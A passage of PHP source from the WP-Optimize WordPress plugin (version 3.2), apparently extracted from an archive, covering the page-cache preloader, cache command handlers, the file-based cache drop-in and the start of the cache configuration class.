		if (is_array($config) && array_key_exists($option, $config)) {
			return $config[$option];
		}

		return false;
	}

	/**
	 * Create tasks (WP_Optimize_Load_Url_Task) for preload all urls from site.
	 *
	 * @param string $type The preload type (currently: scheduled, manual)
	 * @return void
	 */
	public function create_tasks_for_preload_site_urls($type) {
		$urls = $this->get_site_urls();

		if (!empty($urls)) {

			$this->log(__('Creating tasks for preload site urls.', 'wp-optimize'));

			foreach ($urls as $url) {
				if (wpo_url_in_exceptions($url)) continue;

				if ($this->url_is_already_cached($url, $type)) {
					continue;
				}

				// this description is being used for internal purposes.
				$description = 'Preload - '.$url;
				$options = array('url' => $url, 'preload_type' => $type, 'anonymous_user_allowed' => (defined('DOING_CRON') && DOING_CRON) || (defined('WP_CLI') && WP_CLI));

				WP_Optimize_Load_Url_Task::create_task($this->task_type, $description, $options, 'WP_Optimize_Load_Url_Task');
			}

			$this->log(__('Tasks for preload site urls created.', 'wp-optimize'));
		}
	}

	/**
	 * Preload mobile version from $url.
	 *
	 * @param string $url
	 *
	 * @return void
	 */
	public function preload_mobile($url) {
		static $is_mobile_caching_enabled;
		if (!isset($is_mobile_caching_enabled)) {
			$is_mobile_caching_enabled = $this->get_cache_config('enable_mobile_caching');
		}

		// Only run if option is active
		if (!$is_mobile_caching_enabled) return;

		$mobile_args = array(
			'httpversion' => '1.1',
			'user-agent'  => 'Mozilla/5.0 (iPhone; CPU iPhone OS 9_1 like Mac OS X) AppleWebKit/601.1.46 (KHTML, like Gecko) Version/9.0 Mobile/13B143 Safari/601.1',
			'timeout'     => 10,
			'headers'     => apply_filters('wpo_preload_headers', array()),
		);

		$mobile_args = apply_filters('wpo_page_cache_preloader_mobile_args', $mobile_args, $url);

		$this->log('preload_mobile - ' . $url);

		wp_remote_get($url, $mobile_args);
	}

	/**
	 * Preload amp version from $url.
	 *
	 * @param string $url
	 *
	 * @return void
	 */
	public function preload_amp($url) {
		if (!apply_filters('wpo_should_preload_amp', false, $url)) return;

		$amp_args = array(
			'httpversion' => '1.1',
			'user-agent'  => 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/62.0.3202.89 Safari/537.36',
			'timeout'     => 10,
			'headers'     => array(
				'X-WP-Optimize-Cache-Preload' => 'Yes',
			),
		);

		$url = untrailingslashit($url) . '/amp/';

		$amp_args = apply_filters('wpo_page_cache_preloader_amp_args', $amp_args, $url);

		$this->log('preload_amp - ' . $url);

		wp_remote_get($url, $amp_args);
	}

	/**
	 * Check if sitemap exists then returns list of urls from sitemap file otherwise returns all posts urls.
	 *
	 * @return array
	 */
	public function get_site_urls() {

		$urls = $this->get_sitemap_urls();

		if (!empty($urls)) {
			$this->options->update_option('wpo_last_page_cache_preload_type', 'sitemap');
		} else {
			$urls = $this->get_post_urls();
			$this->options->update_option('wpo_last_page_cache_preload_type', 'posts');
		}

		$this->log(sprintf(_n('%d url found.', '%d urls found.', count($urls), 'wp-optimize'), count($urls)));

		/**
		 * Filter the URLs which will be preloaded
		 *
		 * @param array $urls
		 * @return array
		 */
		return apply_filters('wpo_preload_get_site_urls', $urls);
	}

	/**
	 * Loads sitemap file and returns list of urls.
	 *
	 * @param string $sitemap_url
	 *
	 * @return array|bool
	 */
	public function get_sitemap_urls($sitemap_url = '') {

		$urls = array();

		// if sitemap url is empty then use main sitemap file name.
		$sitemap_url = ('' === $sitemap_url) ? site_url('/'.$this->get_sitemap_filename()) : $sitemap_url;

		// if simplexml_load_string not available then we don't load sitemap.
		if (!function_exists('simplexml_load_string')) {
			return $urls;
		}

		// load sitemap file.
		$response = wp_remote_get($sitemap_url, array('timeout' => 30));

		// if we get error then
		if (is_wp_error($response)) {
			$response = file_get_contents($sitemap_url);

			// if response is empty then try load from file.
			if (empty($response) && '' == $sitemap_url) {
				$sitemap_file = $this->get_local_sitemap_file();

				$response = file_get_contents($sitemap_file);
			}

			if (empty($response)) return $urls;

			$xml = @simplexml_load_string($response); // phpcs:ignore Generic.PHP.NoSilencedErrors.Discouraged
		} else {
			// parse xml answer.
			$xml = @simplexml_load_string(wp_remote_retrieve_body($response)); // phpcs:ignore Generic.PHP.NoSilencedErrors.Discouraged
		}

		// xml file has not valid xml content then return false.
		if (false === $xml) return false;

		// if exists urls then return them.
		if (isset($xml->url)) {
			foreach ($xml->url as $element) {
				if (!isset($element->loc)) continue;
				$urls[] = (string) $element->loc;
			}
		} elseif (isset($xml->sitemap)) {
			// if has links to other sitemap files then get urls from them.
			foreach ($xml->sitemap as $element) {
				if (!isset($element->loc)) continue;

				$sitemap_urls = $this->get_sitemap_urls($element->loc);

				if (is_array($sitemap_urls)) {
					$urls = array_merge($urls, $sitemap_urls);
				}
			}
		}

		return $urls;
	}

	/**
	 * Get the path to a local sitemap file
	 *
	 * @return string
	 */
	private function get_local_sitemap_file() {
		if (!function_exists('get_home_path')) {
			include_once ABSPATH . '/wp-admin/includes/file.php';
		}
		return trailingslashit(get_home_path()) . $this->get_sitemap_filename();
	}

	/**
	 * Get all posts of any post type and returns urls for them.
	 *
	 * @return array
	 */
	public function get_post_urls() {
		global $post;

		$offset = 0;
		$posts_per_page = 1000;
		$urls = array();

		$urls[] = site_url('/');

		do {
			$query = new WP_Query(array(
				'post_type'         => 'any',
				'post_status'       => 'publish',
				'posts_per_page'    => $posts_per_page,
				'offset'            => $offset,
				'orderby'           => 'ID',
				'order'             => 'ASC',
				'cache_results'     => false, // disable cache to avoid memory error.
			));

			$posts_loaded = $query->post_count;

			while ($query->have_posts()) {
				$query->the_post();
				$permalink = get_permalink();
				$urls[] = $permalink;

				// check page separators in the post content
				preg_match_all('/\<\!--nextpage--\>/', $post->post_content, $matches);
				// if there any separators add urls for each page
				if (count($matches[0])) {
					$prefix = strpos($permalink, '?') ? '&page=' : '';
					for ($page = 0; $page < count($matches[0]); $page++) {
						if ('' != $prefix) {
							$urls[] = $permalink . $prefix . ($page+2);
						} else {
							$urls[] = trailingslashit($permalink) . ($page+2);
						}
					}
				}
			}

			$offset += $posts_loaded;
		} while ($posts_loaded > 0);

		/**
		 * If domain mapping enabled then replace domains in urls.
		 */
		if ($this->is_domain_mapping_enabled()) {
			$blog_id = get_current_blog_id();

			$mapped_domain = $this->get_mapped_domain($blog_id);
			$blog_details = get_blog_details($blog_id);

			if ($mapped_domain) {
				foreach ($urls as $i => $url) {
					$urls[$i] = preg_replace('/'.$blog_details->domain.'/i', $mapped_domain, $url, 1);
				}
			}
		}

		wp_reset_postdata();

		return $urls;
	}

	/**
	 * Check if domain mapping enabled.
	 *
	 * @return bool
	 */
	public function is_domain_mapping_enabled() {
		// SUNRISE constant is defined with installation WordPress MU Domain Mapping plugin.
		$enabled = is_multisite() && defined('SUNRISE') && 'on' == strtolower(SUNRISE);

		/**
		 * Filters if Multisite Domain mapping is enabled.
		 * Currently, we can only detect if the WordPress MU Domain Mapping plugin is in use.
		 * Using the WP Core functionality should not require this, unless if the domain name is set somewhere else but in the site url option.
		 */
		return apply_filters('wpo_is_domain_mapping_enabled', $enabled);
	}

	/**
	 * Return mapped domain by $blog_id.
	 *
	 * @param int $blog_id
	 *
	 * @return string
	 */
	public function get_mapped_domain($blog_id) {
		global $wpdb;

		$domain = '';
		$multisite_plugin_table_name = $wpdb->base_prefix.'domain_mapping';
		// Check if table exists
		if ($wpdb->get_var("SHOW TABLES LIKE '$multisite_plugin_table_name'") != $multisite_plugin_table_name) {
			// This table created in WordPress MU Domain Mapping plugin.
			$row = $wpdb->get_row("SELECT `domain` FROM {$multisite_plugin_table_name} WHERE `blog_id` = {$blog_id} AND `active` = 1", ARRAY_A);
			if (!empty($row)) {
				$domain = $row['domain'];
			}
		} else {
			// When using the WP Core method, the site url option contains the mapped domain.
			$domain = get_site_url($blog_id);
		}

		/**
		 * Filters the mapped domain name
		 *
		 * @param string  $domain  The domain name
		 * @param integer $blog_id The blog ID
		 */
		return apply_filters('wpo_get_mapped_domain', $domain, $blog_id);
	}

	/**
	 * Captures and logs any interesting messages
	 *
	 * @param String $message    - the error message
	 * @param String $error_type - the error type
	 */
	public function log($message, $error_type = 'info') {

		if (isset($this->loggers)) {
			foreach ($this->loggers as $logger) {
				$logger->log($message, $error_type);
			}
		}
	}

	/**
	 * Instance of WP_Optimize_Page_Cache_Preloader.
	 *
	 * @return WP_Optimize_Page_Cache_Preloader
	 */
	public static function instance() {
		if (empty(self::$_instance)) {
			self::$_instance = new WP_Optimize_Page_Cache_Preloader();
		}

		return self::$_instance;
	}

	/**
	 * Check if the URL is already cached, or needs to be preloaded
	 *
	 * @param string $url          The preloaded url
	 * @param string $preload_type The preload type (manual | scheduled)
	 * @return boolean
	 */
	private function url_is_already_cached($url, $preload_type) {
		static $files = array();
		$regenerate_count = 0;
		$folder = trailingslashit(WPO_CACHE_FILES_DIR) . wpo_get_url_path($url);
		// If the folder does not exist, consider the URL as cleared
		if (!is_dir($folder)) return false;

		if (empty($files)) {
			// Check only the base files
			$files[] = 'index.html';

			if (WPO_Cache_Config::instance()->get_option('enable_mobile_caching')) {
				$files[] = 'mobile.index.html';
			}
			$files = apply_filters('wpo_maybe_clear_files_list', $files);
		}

		foreach ($files as $file) {
			$file_path = trailingslashit($folder).$file;
			if (!file_exists($file_path)) {
				// The file does not exist, count it as "deleted"
				$regenerate_count++;
				continue;
			}

			if ($this->should_regenerate_file($file_path, $preload_type)) {
				// delefe the expired cache file
				unlink($file_path);
				$regenerate_count++;
			}
		}

		// if 0 == $regenerate_count, nothing all the expected files exist, and none were deleted.
		return 0 == $regenerate_count;
	}

	/**
	 * Determine if a file should be regenerated
	 *
	 * @param string $path         The file to check
	 * @param string $preload_type The preload type (manual | scheduled)
	 *
	 * @return boolean
	 */
	private function should_regenerate_file($path, $preload_type) {
		// Store the variables, as they'll be used for each file and each file
		static $is_preloader_scheduled = null;
		static $lifespan = null;
		static $schedule_type = null;
		static $schedule_interval = null;
		static $lifespan_expiry_threshold = null;
		static $always_regenerate_file_if_preload_is_manual = null;
		static $always_regenerate_file_if_preload_is_scheduled = null;
		static $regenerate_file_when_no_expiry_date = null;

		// Sets the variables once per request:
		if (null === $is_preloader_scheduled) {
			$is_preloader_scheduled = WPO_Cache_Config::instance()->get_option('enable_schedule_preload');
			$schedule_type = WPO_Cache_Config::instance()->get_option('preload_schedule_type');
			$lifespan = WPO_Cache_Config::instance()->get_option('page_cache_length');
			$schedule_interval = $this->get_schedule_interval($schedule_type);

			/**
			 * Expiry threshold: the current file will be considered stale if within the threshold. Default: 600s (10min)
			 */
			$lifespan_expiry_threshold = apply_filters('wpo_lifespan_expiry_threshold', 600);

			/**
			 * Filters if a cache should systematically be regenerated when running a manual preload. Default: false
			 */
			$always_regenerate_file_if_preload_is_manual = apply_filters('wpo_always_regenerate_file_if_preload_is_manual', false);

			/**
			 * Filters if a cache should systematically be regenerated when running a scheduled preload. Default: false
			 */
			$always_regenerate_file_if_preload_is_scheduled = apply_filters('wpo_always_regenerate_file_if_preload_is_scheduled', false);

			/**
			 * Filters if a cache should systematically be regenerated when running a preload and no schedule is set, and cache does not expire. Default: true
			 */
			$regenerate_file_when_no_expiry_date = apply_filters('wpo_regenerate_file_when_no_expiry_date', true);
		}

		if (($always_regenerate_file_if_preload_is_manual && 'manual' == $preload_type) || ($always_regenerate_file_if_preload_is_scheduled && 'scheduled' == $preload_type)) {
			$result = true;
		} else {

			$modified_time = (int) filemtime($path);

			// cache lifespan is set.
			if (0 != $lifespan) {
				$expiry_time = $modified_time + $lifespan - $lifespan_expiry_threshold;
				$result = time() > $expiry_time;
			} elseif ($is_preloader_scheduled) {
				$expiry_time = $modified_time + $schedule_interval - $lifespan_expiry_threshold;
				$result = time() > $expiry_time;
			} else {
				$result = $regenerate_file_when_no_expiry_date;
			}
			
		}
		
		return apply_filters('wpo_preloader_should_regenerate_file', $result, $path, $preload_type);
	}

	/**
	 * Add preloader headers
	 */
	public function preload_headers($headers) {
		$headers['X-WP-Optimize-Cache-Preload'] = 'Yes';
		return $headers;
	}

	/**
	 * Option disabled error message
	 *
	 * @return array
	 */
	protected function get_option_disabled_error() {
		return array(
			'success' => false,
			'error' => __('Page cache is disabled.', 'wp-optimize')
		);
	}

	/**
	 * Get preload already running error message
	 *
	 * @return array
	 */
	protected function get_preload_already_running_error() {
		return array(
			'success' => false,
			'error' => __('Probably page cache preload is running already.', 'wp-optimize')
		);
	}

	protected function get_preload_data() {
		return WP_Optimize()->get_page_cache()->get_cache_size();
	}

	protected function get_preloading_message($cache_size) {
		return array(
			'done' => false,
			'message' => __('Loading URLs...', 'wp-optimize'),
			'size' => WP_Optimize()->format_size($cache_size['size']),
			'file_count' => $cache_size['file_count']
		);
	}

	protected function get_last_preload_message($cache_size, $last_preload_time_str) {
		return array(
			'done' => true,
			'message' => sprintf(__('Last preload finished at %s', 'wp-optimize'), $last_preload_time_str),
			'size' => WP_Optimize()->format_size($cache_size['size']),
			'file_count' => $cache_size['file_count']
		);
	}

	protected function get_preload_success_message($cache_size) {
		return array(
			'done' => true,
			'size' => WP_Optimize()->format_size($cache_size['size']),
			'file_count' => $cache_size['file_count']
		);
	}

	protected function get_preload_progress_message($cache_size, $preloaded_message, $preload_resuming_in) {
		return array(
			'done' => false,
			'message' => $preloaded_message,
			'size' => WP_Optimize()->format_size($cache_size['size']),
			'file_count' => $cache_size['file_count'],
			'resume_in' => $preload_resuming_in
		);
	}
}

WP_Optimize_Page_Cache_Preloader::instance();
cms/wordpress/wp-optimize-versions/wp-optimize.3.2/wp-optimize/cache/class-cache-commands.php000644 000000 000000 00000023037 14173760430 032725 0ustar00rootwheel000000 000000 <?php

if (!defined('ABSPATH')) die('No direct access allowed');

/**
 * All cache commands that are intended to be available for calling from any sort of control interface (e.g. wp-admin, UpdraftCentral) go in here. All public methods should either return the data to be returned, or a WP_Error with associated error code, message and error data.
 */
class WP_Optimize_Cache_Commands {

	private $optimizer;

	private $options;

	/**
	 * WP_Optimize_Cache_Commands constructor.
	 */
	public function __construct() {
		$this->optimizer = WP_Optimize()->get_optimizer();
		$this->options = WP_Optimize()->get_options();
	}

	/**
	 * Save cache settings
	 *
	 * @param array $data
	 *
	 * @return array
	 */
	public function save_cache_settings($data) {

		if (!class_exists('WPO_Cache_Config')) return array(
			'result' => false,
			'message' => "WPO_Cache_Config class doesn't exist",
		);

		// filter for validate cache settings before save it.
		$validation = apply_filters('wpo_save_cache_settings_validation', $data['cache-settings']);

		if (!empty($validation) && isset($validation['result']) && false === $validation['result']) {
			return $validation;
		}

		$enabled = false;
		$disabled = false;
		$return = !empty($validation) ? $validation : array();
		$previous_settings = WPO_Cache_Config::instance()->get();

		// Attempt to change current status if required
		if (isset($previous_settings['enable_page_caching']) && $previous_settings['enable_page_caching'] != $data['cache-settings']['enable_page_caching']) {
			// Disable cache.
			if (empty($data['cache-settings']['enable_page_caching'])) {
				$disabled = WPO_Page_Cache::instance()->disable();
				// Disabling failed
				if ($disabled && is_wp_error($disabled)) {
					// If disabling failed, we re-enable whatever was disabled, to make sure nothing breaks.
					if ($previous_settings['enable_page_caching']) WPO_Page_Cache::instance()->enable(true);
					$return['error'] = array(
						'code' => $disabled->get_error_code(),
						'message' => $disabled->get_error_message()
					);
				} elseif (WPO_Page_Cache::instance()->has_warnings()) {
					$return['warnings_label'] = __('Page caching was disabled, but with some warnings:', 'wp-optimize');
					$return['warnings'] = WPO_Page_Cache::instance()->get_errors('warning');
				}
			} else {
				// we need to rebuild advanced-cache.php and add WP_CACHE to wp-config.
				$enabled = WPO_Page_Cache::instance()->enable(true);
				// Enabling failed
				if (is_wp_error($enabled)) {
					// disable everything, to avoid half enabled things
					WPO_Page_Cache::instance()->disable();
					$return['error'] = array(
						'code' => $enabled->get_error_code(),
						'message' => $enabled->get_error_message()
					);

					if (WPO_Page_Cache::instance()->advanced_cache_file_writing_error) {
						$return['advanced_cache_file_writing_error'] = true;
						$return['advanced_cache_file_content'] = WPO_Page_Cache::instance()->advanced_cache_file_content;
					}
				} elseif (WPO_Page_Cache::instance()->has_warnings()) {
					$return['warnings_label'] = __('Page caching was enabled, but with some warnings:', 'wp-optimize');
					$return['warnings'] = WPO_Page_Cache::instance()->get_errors('warning');
				}
			}
			// Override enabled setting value
			$data['cache-settings']['enable_page_caching'] = ($enabled && !is_wp_error($enabled)) || ($previous_settings['enable_page_caching'] && is_wp_error($disabled));
		} else {
			$data['cache-settings']['enable_page_caching'] = $previous_settings['enable_page_caching'];
			$enabled = $previous_settings['enable_page_caching'];
		}

		$skip_if_no_file_yet = !$enabled || is_wp_error($enabled);
		$save_settings_result = WPO_Cache_Config::instance()->update($data['cache-settings'], $skip_if_no_file_yet);

		if ($save_settings_result && !is_wp_error($save_settings_result)) {
			WP_Optimize_Page_Cache_Preloader::instance()->cache_settings_updated($data['cache-settings'], $previous_settings);
			$return['result'] = $save_settings_result;
		} else {
			// Saving the settings returned an error
			if (is_wp_error($save_settings_result)) {
				if (isset($return['error'])) {
					$return['error']['message'] .= "\n\n".$save_settings_result->get_error_message();
				} else {
					$return['error'] = array(
						'code' => $save_settings_result->get_error_code(),
						'message' => $save_settings_result->get_error_message()
					);
				}
			}
			$return['result'] = false;
		}

		$return['enabled'] = ($enabled && !is_wp_error($enabled)) || ($previous_settings['enable_page_caching'] && is_wp_error($disabled));

		return $return;
	}

	/**
	 * Get information about current cache status. Used in cli commands.
	 *
	 * @return array
	 */
	public function get_status_info() {
		$status = array();

		$status[] = WPO_Page_Cache::instance()->is_enabled() ? __('Caching is enabled', 'wp-optimize') : __('Caching is disabled', 'wp-optimize');

		$preloader_status = WP_Optimize_Page_Cache_Preloader::instance()->get_status_info();
		$status[] = sprintf(__('Current cache size: %s', 'wp-optimize'), $preloader_status['size']);
		$status[] = sprintf(__('Number of files: %s', 'wp-optimize'), $preloader_status['file_count']);

		if (array_key_exists('message', $preloader_status)) $status[] = $preloader_status['message'];

		$status['message'] = join(PHP_EOL, $status);

		return $status;
	}

	/**
	 * Enable cache.
	 */
	public function enable() {
		$settings = WPO_Cache_Config::instance()->get();
		$settings['enable_page_caching'] = true;
		return $this->format_save_cache_settings_response($this->save_cache_settings(array('cache-settings' => $settings)));
	}

	/**
	 * Disable cache.
	 */
	public function disable() {
		$settings = WPO_Cache_Config::instance()->get();
		$settings['enable_page_caching'] = false;
		return $this->format_save_cache_settings_response($this->save_cache_settings(array('cache-settings' => $settings)));
	}

	/**
	 * Purge WP-Optimize page cache.
	 *
	 * @return array
	 */
	public function purge_page_cache() {

		if (!WP_Optimize()->can_purge_the_cache()) {
			return array(
				'success' => false,
				'message' => __('You do not have permission to purge the cache', 'wp-optimize'),
			);
		}

		$purged = WP_Optimize()->get_page_cache()->purge();
		$cache_size = WP_Optimize()->get_page_cache()->get_cache_size();
		$wpo_page_cache_preloader = WP_Optimize_Page_Cache_Preloader::instance();

		$response = array(
			'success' => $purged,
			'size' => WP_Optimize()->format_size($cache_size['size']),
			'file_count' => $cache_size['file_count'],
		);

		// if scheduled preload enabled then reschedule and run preloader.
		if ($wpo_page_cache_preloader->is_scheduled_preload_enabled()) {
			// cancel preload and reschedule preload action.
			$wpo_page_cache_preloader->cancel_preload();
			$wpo_page_cache_preloader->reschedule_preload();

			// run preloader.
			$wpo_page_cache_preloader->run('scheduled', $response);
		}

		if ($response['success']) {
			$response['message'] = __('Page cache purged successfully', 'wp-optimize');
		}

		return $response;
	}

	/**
	 * Run cache preload (for wp-cli).
	 *
	 * @return array|bool
	 */
	public function run_cache_preload_cli() {
		if (!(defined('WP_CLI') && WP_CLI)) return false;

		// define WPO_ADVANCED_CACHE constant as WP-CLI doesn't load advanced-cache.php file
		// but we check this constant value wen detecting status of cache
		if (!defined('WPO_ADVANCED_CACHE')) define('WPO_ADVANCED_CACHE', true);
		// don't interrupt queue processing
		add_filter('updraft_interrupt_tasks_queue_load-url-task', '__return_false', 99);

		// if preloading is running then exit.
		if (WP_Optimize_Page_Cache_Preloader::instance()->is_busy()) {
			return array(
				'success' => false,
				'error' => __('Preloading is currently running in another process.', 'wp-optimize'),
			);
		}

		// set default response.
		$response = array(
			'success' => true,
			'message' => __('All URLs were preloaded into cache successfully', 'wp-optimize'),
		);

		WP_CLI::log(__('Preloading URLs into cache...', 'wp-optimize'));

		return WP_Optimize_Page_Cache_Preloader::instance()->run('manual', $response);
	}

	/**
	 * Run cache preload action.
	 *
	 * @return void|array - Doesn't return anything if run() is successfull (Run() prints a JSON object and closed browser connection) or an array if failed.
	 */
	public function run_cache_preload() {
		return WP_Optimize_Page_Cache_Preloader::instance()->run('manual');
	}

	/**
	 * Cancel cache preload action.
	 *
	 * @return array
	 */
	public function cancel_cache_preload() {
		WP_Optimize_Page_Cache_Preloader::instance()->cancel_preload();
		return WP_Optimize_Page_Cache_Preloader::instance()->get_status_info();
	}

	/**
	 * Get status of cache preload.
	 *
	 * @return array
	 */
	public function get_cache_preload_status() {
		return WP_Optimize_Page_Cache_Preloader::instance()->get_status_info();
	}

	/**
	 * Enable or disable browser cache.
	 *
	 * @param array $params - ['browser_cache_expire' => '1 month 15 days 2 hours' || '' - for disable cache]
	 * @return array
	 */
	public function enable_browser_cache($params) {
		return WP_Optimize()->get_browser_cache()->enable_browser_cache_command_handler($params);
	}

	/**
	 * Format save_cache_settings() result for displaying in WP-CLI console
	 *
	 * @param array $response
	 * @return array
	 */
	private function format_save_cache_settings_response($response) {
		$result = array(
			'success' => $response['result'],
		);

		if (isset($response['error'])) {
			$result['success'] = false;
			$result['error'] = $response['error']['message'];
		}

		if ($result['success']) {
			$result['message'] = __('Page cache settings updated successfully.', 'wp-optimize');
		}

		return $result;
	}
}
cms/wordpress/wp-optimize-versions/wp-optimize.3.2/wp-optimize/cache/file-based-page-cache.php000644 000000 000000 00000011314 14057473210 032717 0ustar00rootwheel000000 000000 <?php

if (!defined('ABSPATH')) die('No direct access allowed');

/**
 * File based page cache drop in
 */
require_once(dirname(__FILE__) . '/file-based-page-cache-functions.php');

if (!defined('WPO_CACHE_DIR')) define('WPO_CACHE_DIR', untrailingslashit(WP_CONTENT_DIR) . '/wpo-cache');

/**
 * Load extensions.
 */
wpo_cache_load_extensions();

/**
 * Action triggered when the cache extensions are all loaded. Allows to execute code depending on an other extension, without knowing the order in which the files are loaded.
 */
if (function_exists('do_action')) {
	do_action('wpo_cache_extensions_loaded');
}

$no_cache_because = array();

// check if we want to cache current page.
if (function_exists('add_filter') && function_exists('apply_filters')) {
	add_filter('wpo_restricted_cache_page_type', 'wpo_restricted_cache_page_type');
	$restricted_cache_page_type = apply_filters('wpo_restricted_cache_page_type', false);
} else {
	// On old WP versions, you can't filter the result
	$restricted_cache_page_type = wpo_restricted_cache_page_type(false);
}

if ($restricted_cache_page_type) {
	$no_cache_because[] = $restricted_cache_page_type;
}

// Don't cache non-GET requests.
if (!isset($_SERVER['REQUEST_METHOD']) || 'GET' !== $_SERVER['REQUEST_METHOD']) {
	$no_cache_because[] = 'The request method was not GET ('.(isset($_SERVER['REQUEST_METHOD']) ? $_SERVER['REQUEST_METHOD'] : '-').')';
}

$file_extension = $_SERVER['REQUEST_URI'];
$file_extension = preg_replace('#^(.*?)\?.*$#', '$1', $file_extension);
$file_extension = trim(preg_replace('#^.*\.(.*)$#', '$1', $file_extension));

// Don't cache disallowed extensions. Prevents wp-cron.php, xmlrpc.php, etc.
if (!preg_match('#index\.php$#i', $_SERVER['REQUEST_URI']) && !preg_match('#sitemap([a-zA-Z0-9_-]+)?\.xml$#i', $_SERVER['REQUEST_URI']) && in_array($file_extension, array('php', 'xml', 'xsl'))) {
	$no_cache_because[] = 'The request extension is not suitable for caching';
}

// Don't cache if logged in.
if (!empty($_COOKIE)) {
	$wp_cookies = array('wordpressuser_', 'wordpresspass_', 'wordpress_sec_', 'wordpress_logged_in_');

	if (!wpo_cache_loggedin_users()) {
		foreach ($_COOKIE as $key => $value) {
			foreach ($wp_cookies as $cookie) {
				if (false !== strpos($key, $cookie)) {
					$no_cache_because[] = 'WordPress login cookies were detected';
					break(2);
				}
			}
		}
	}

	if (!empty($_COOKIE['wpo_commented_post'])) {
		$no_cache_because[] = 'The user has commented on a post (comment cookie set)';
	}

	// get cookie exceptions from options.
	$cache_exception_cookies = !empty($GLOBALS['wpo_cache_config']['cache_exception_cookies']) ? $GLOBALS['wpo_cache_config']['cache_exception_cookies'] : array();
	// filter cookie exceptions, since WP 4.6
	$cache_exception_cookies = function_exists('apply_filters') ? apply_filters('wpo_cache_exception_cookies', $cache_exception_cookies) : $cache_exception_cookies;

	// check if any cookie exists from exception list.
	if (!empty($cache_exception_cookies)) {
		foreach ($_COOKIE as $key => $value) {
			foreach ($cache_exception_cookies as $cookie) {
				if ('' != trim($cookie) && false !== strpos($key, $cookie)) {
					$no_cache_because[] = 'An excepted cookie was set ('.$key.')';
					break 2;
				}
			}
		}
	}
}

// check in not disabled current user agent
if (!empty($_SERVER['HTTP_USER_AGENT']) && false === wpo_is_accepted_user_agent($_SERVER['HTTP_USER_AGENT'])) {
	$no_cache_because[] = "In the settings, caching is disabled for matches for this request's user agent";
}

// Deal with optional cache exceptions.
if (wpo_url_in_exceptions(wpo_current_url())) {
	$no_cache_because[] = 'In the settings, caching is disabled for matches for the current URL';
}

if (!empty($_GET)) {
	// get variables used for building filename.
	$get_variable_names = wpo_cache_query_variables();

	$get_variables = wpo_cache_maybe_ignore_query_variables(array_keys($_GET));

	// if GET variables include one or more undefined variable names then we don't cache.
	$get_variables_diff = array_diff($get_variables, $get_variable_names);
	if (!empty($get_variables_diff)) {
		$no_cache_because[] = "In the settings, caching is disabled for matches for one of the current request's GET parameters";
	}
}

if (!empty($no_cache_because)) {
	$no_cache_because_message = implode(', ', $no_cache_because);

	// Add http header
	if (!defined('DOING_CRON') || !DOING_CRON) {
		wpo_cache_add_nocache_http_header($no_cache_because_message);
	}

	// Only output if the user has turned on debugging output
	if (((defined('WP_DEBUG') && WP_DEBUG) || isset($_GET['wpo_cache_debug'])) && (!defined('DOING_CRON') || !DOING_CRON)) {
		wpo_cache_add_footer_output("Page not served from cache because: ".htmlspecialchars($no_cache_because_message));
	}
	return;
}

wpo_serve_cache();

ob_start('wpo_cache');
cms/wordpress/wp-optimize-versions/wp-optimize.3.2/wp-optimize/cache/class-wpo-cache-config.php000644 000000 000000 00000016267 13730076454 033207 0ustar00rootwheel000000 000000 <?php

if (!defined('ABSPATH')) die('No direct access allowed');

/**
 * Handles cache configuration and related I/O
 */

if (!class_exists('WPO_Cache_Config')) :

class WPO_Cache_Config {

	/**
	 * Defaults
	 *
	 * @var array
	 */
	public $defaults;

	/**
	 * Instance of this class
	 *
	 * @var mixed
	 */
	public static $instance;


	/**
	 * Set config defaults
	 */
	public function __construct() {
		$this->defaults = $this->get_defaults();
	}

	/**
	 * Get config from file or cache
	 *
	 * @return array
	 */
	public function get() {

		if (is_multisite()) {
			$config = get_site_option('wpo_cache_config', $this->get_defaults());
		} else {
			$config = get_option('wpo_cache_config', $this->get_defaults());
		}

		return wp_parse_args($config, $this->get_defaults());
	}

	/**
	 * Get a specific configuration option
	 *
	 * @param string  $option_key The option identifier
	 * @param boolean $default    Default value if the option doesn't exist (Default to false)
	 * @return mixed
	 */
	public function get_option($option_key, $default = false) {
		$options = $this->get();
		return isset($options[$option_key]) ? $options[$option_key] : $default;
	}

	/**
	 * Updates the given config object in file and DB
	 *
	 * @param array	  $config						- the cache configuration
	 * @param boolean $skip_disk_if_not_yet_present - only write the configuration file to disk if it already exists. This presents PHP notices if the cache has never been on, and settings are saved.
	 *
	 * @return bool
	 */
	public function update($config, $skip_disk_if_not_yet_present = false) {
		$config = wp_parse_args($config, $this->get_defaults());

		$config['page_cache_length_value'] = intval($config['page_cache_length_value']);
		$config['page_cache_length'] = $this->calculate_page_cache_length($config['page_cache_length_value'], $config['page_cache_length_unit']);

		/**
		 * Filters the cookies used to set cache file names
		 *
		 * @param array $cookies - The cookies
		 * @param array $config  - The new config
		 */
		$wpo_cache_cookies = apply_filters('wpo_cache_cookies', array(), $config);
		sort($wpo_cache_cookies);

		/**
		 * Filters the query variables used to set cache file names
		 *
		 * @param array $wpo_query_variables - The variables
		 * @param array $config              - The new config
		 */
		$wpo_query_variables = apply_filters('wpo_cache_query_variables', array(), $config);
		sort($wpo_query_variables);

		$config['wpo_cache_cookies'] = $wpo_cache_cookies;
		$config['wpo_cache_query_variables'] = $wpo_query_variables;
		
		$config = apply_filters('wpo_cache_update_config', $config);

		if (is_multisite()) {
			update_site_option('wpo_cache_config', $config);
		} else {
			update_option('wpo_cache_config', $config);
		}

		do_action('wpo_cache_config_updated', $config);

		return $this->write($config, $skip_disk_if_not_yet_present);
	}

	/**
	 * Calculate cache expiration value in seconds.
	 *
	 * @param int    $value
	 * @param string $unit  ( hours | days | months )
	 *
	 * @return int
	 */
	private function calculate_page_cache_length($value, $unit) {
		$cache_length_units = array(
			'hours' => 3600,
			'days' => 86400,
			'months' => 2629800, // 365.25 * 86400 / 12
		);

		return $value * $cache_length_units[$unit];
	}

	/**
	 * Deletes config files and options
	 *
	 * @return bool
	 */
	public function delete() {

		if (is_multisite()) {
			delete_site_option('wpo_cache_config');
		} else {
			delete_option('wpo_cache_config');
		}
		
		if (!WPO_Page_Cache::delete(WPO_CACHE_CONFIG_DIR)) {
			return false;
		}

		return true;
	}

	/**
	 * Writes config to file
	 *
	 * @param array	  $config		   - Configuration array.
	 * @param boolean $only_if_present - only writes to the disk if the configuration file already exists
	 *
	 * @return boolean - returns false if an attempt to write failed
	 */
	private function write($config, $only_if_present = false) {

		$url = parse_url(network_site_url());

		if (isset($url['port']) && '' != $url['port'] && 80 != $url['port']) {
